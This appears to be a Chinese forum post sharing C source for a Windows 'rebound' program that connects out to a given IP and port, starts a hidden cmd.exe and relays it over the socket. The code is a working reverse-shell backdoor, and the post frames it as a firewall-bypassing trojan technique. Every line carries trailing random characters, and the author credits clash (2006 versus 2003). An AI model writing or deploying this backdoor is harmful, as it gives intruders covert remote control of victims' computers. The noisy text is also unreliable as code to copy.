这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }TW=eu~
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/* ============================== ;>9pJ72r
Rebound port in Windows NT aw1J#5j`n
By wind,2006/7 ay4xOwcR
===============================*/ P}`1#$
#include <4,?lZ
#include *lAdS]I
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#pragma comment(lib,"wsock32.lib") s_!Z+D$K
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void OutputShell(); F.D1;,x
SOCKET sClient; x["
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; GcW}<g}
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void main(int argc,char **argv) 9K<a}QJP
{ dAl<'~g
WSADATA stWsaData; Pltju4.:C
int nRet; RfG$Px '
SOCKADDR_IN stSaiClient,stSaiServer; 0pa^O$?p
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if(argc != 3) ~+yo;[1Yc
{ {1|7N
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printf("Useage:\n\rRebound DestIP DestPort\n"); >r3< O=Z7
return; QL18MbfqP
} ZS]f+}0/}
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WSAStartup(MAKEWORD(2,2),&stWsaData); &Ld8Z9IeFp
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [_b='/8
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stSaiClient.sin_family = AF_INET; Cpv%s 1M
stSaiClient.sin_port = htons(0); P%HyIODS
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Z8 %\v(L
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) l>Ja[`X@
{ BrMp_M
printf("Bind Socket Failed!\n"); _)2TLA
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return; 3MJWC o-[
} |o=ST
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stSaiServer.sin_family = AF_INET; +\vY; !^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -Bv1}xf=6
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M;V#Gm
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 4 ~YQ\4h=
{ SliQwm5
printf("Connect Error!"); E/$@ud|l"
return; ^i)Q
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} N%|Vzc
OutputShell(); JD`;,Md
} 8;f<q u|w
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void OutputShell() / !
{ x][9ptrh
char szBuff[1024]; |SukiXJZF
SECURITY_ATTRIBUTES stSecurityAttributes; <ZC^H
OSVERSIONINFO stOsversionInfo; {^5<{j3e
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G^@Jgx3n
STARTUPINFO stStartupInfo; u+'@>%7
char *szShell; pXj/6+^
PROCESS_INFORMATION stProcessInformation; s5aOAyb*w
unsigned long lBytesRead; _6S
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $]U5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5QFXj)hR+4
stSecurityAttributes.lpSecurityDescriptor = 0; eTRx 6Fri(
stSecurityAttributes.bInheritHandle = TRUE; Vt)\[Tl~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^r$iN %&~
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2DCcGKa"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); +s(IQt
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f'`nx;@X
stStartupInfo.wShowWindow = SW_HIDE; 3auJ^B}
stStartupInfo.hStdInput = hReadPipe; pg}+lYGP
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; (06Vcqg
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GetVersionEx(&stOsversionInfo); [T[9*6Kt
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switch(stOsversionInfo.dwPlatformId) 'UvS3]bSYW
{ JGO$4DK-1
case 1: 5ih"Nds[H
szShell = "command.com"; a[74%L?
break; jl e%|8m&@
default: p-'6_\F.Ke
szShell = "cmd.exe"; Xlqz8cI
break; ]D) 'I`
} T:g4D z*2\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VmOFX:j!,
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send(sClient,szMsg,77,0); gR-Qj
while(1) 0n<(*bfW
{ (XG[_
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ULNAH`{D
if(lBytesRead) n:bB$Ai2
{ Id.Z[owC`Y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |DFvZ6}
send(sClient,szBuff,lBytesRead,0); V^`?8P8d
} x'@32gv
else `Ge +(1x
{ VTJIaqw
lBytesRead=recv(sClient,szBuff,1024,0); aZawBU.:
if(lBytesRead<=0) break; 3u?`q%Y-e
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 8R)D ! 7[l
} ] [HGzHA
} orB8Q\p'
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return; 0 .FHdJ<
}